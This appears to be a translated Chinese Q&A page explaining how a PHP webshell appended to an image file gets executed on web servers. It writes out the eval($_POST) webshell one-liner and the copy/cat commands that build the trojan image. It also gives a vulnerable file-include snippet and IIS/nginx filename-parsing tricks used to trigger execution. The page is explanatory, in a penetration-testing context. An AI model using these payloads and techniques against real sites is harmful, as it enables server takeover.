微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

图像末尾的后门代码是如何执行的?

如何解决图像末尾的后门代码是如何执行的?

(好像这叫“图片隐写术”,中文图片隐写术)

我正在研究渗透测试,发现了一个很有趣的方法

提供 2 个文件

  1. 一个名为 mask.jpg 的 jpg/gif/png 文件
  2. 一个<?PHP @eval($_POST[‘pass’]);?> 一样的代码,另存为 backdoor.PHP

并将这两个文件放在一起:

  • 窗口:copy /b mask.jpg + backdoor.PHP/a = trojan.jpg
  • linux: cat mask.jpg backdoor.PHP > trojan.jpg

trojan.jpg 文件内容很简单,就像:

F4�5�o�0KsK�vkjf�/2�S�2?>j�h����$�먬*o����Vjߥ�i�^��(G�,�Ь��
a��9��w^5�P��q�4�*��}G����тU4��+<m▒k���2��r��Ӎ�G���!r�UT��������� R��MI�8'�3IR�TQ��x0�"�����|����yFT��j��(▒9��k�R;▒�����7Z�G�ISGS�G=^�P��8����A�/����E�t���P�G�������y�F�!�?�y
-zh��=�"��������6�k�DT�{��)OQO�A7�w]0�����N1���aV�-G����4�~F�~��˞��2OU(�����u?��������H�w
�k��<?PHP @eval($_POST['pass']) ?>

然后将此trojan.jpg文件上传到某个PHP网站,然后访问其网址,例如http://target.com/uploads/trojan.jpg

然后使用一些脚本/工具,您将连接并获取 webshel​​l。

我想知道,图像文件末尾的backdoor代码是如何执行的?

非常感谢!

解决方法

好吧,经过几个小时的谷歌搜索,我想我知道了一些东西。

  1. 正常情况下,png/jpg文件不会触发php引擎处理。例如当您打开包含 <img src='a.jpg' /> 的页面时。但也有例外。

  2. 大多数情况下,这种“图像后门”或“隐写术”与“文件包含泄漏”一起使用。

根据this article,要让jpg引擎处理php文件,服务器端必须有“文件包含”的泄漏。最简单的“文件包含泄漏”示例如下所示:

<!-- vulnerable_file_include.php -->
<?php
  $file = $_GET['file']
  include $file;
?>

然后您可以在该 jpg 文件中将“php 代码”作为 php 运行:http://example.com/vulnerable_file_include.php?file=a.jpg

  1. 根据 this article ,您还可以通过将 jpg 文件重命名为非正常方式(文件名中包含 php)来做一些技巧,

    (a) 对于 IIS 5.0/6 ,访问 a.asp;.jpg 将触发 a.asp 被执行。

    (b) 对于 IIS 7.0/7.5,访问 a.php/.jpg 将触发 a.php 被执行。

    (c) 对于 nginx 8.03,访问 a.php%00.jpg 将触发 a.php 被执行。

  2. 很多PHP/ASP网站都会以这种方式显示图片:<img src="read.php?file=a.jpg" />(15年前我第一次参与一个项目时,stuff工程师将图片存入数据库,然后读取它以这种方式)。 PHP引擎会读取并解析a.jpg的源代码,从而执行恶意代码。

  3. 在某些服务器配置中,静态资源(如jpg、png)应该由nginx或apache处理,但错误地配置为由PHP/ASP引擎处理。 (也许是这种情况,并非 100% 确认。)

另请参考:

https://medium.com/@GaelleTjat/a-webshell-story-59ffd84ef012

Running PHP inside PNG

https://blog.csdn.net/qq_42311391/article/details/89477993

https://chybeta.github.io/2017/10/08/php%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。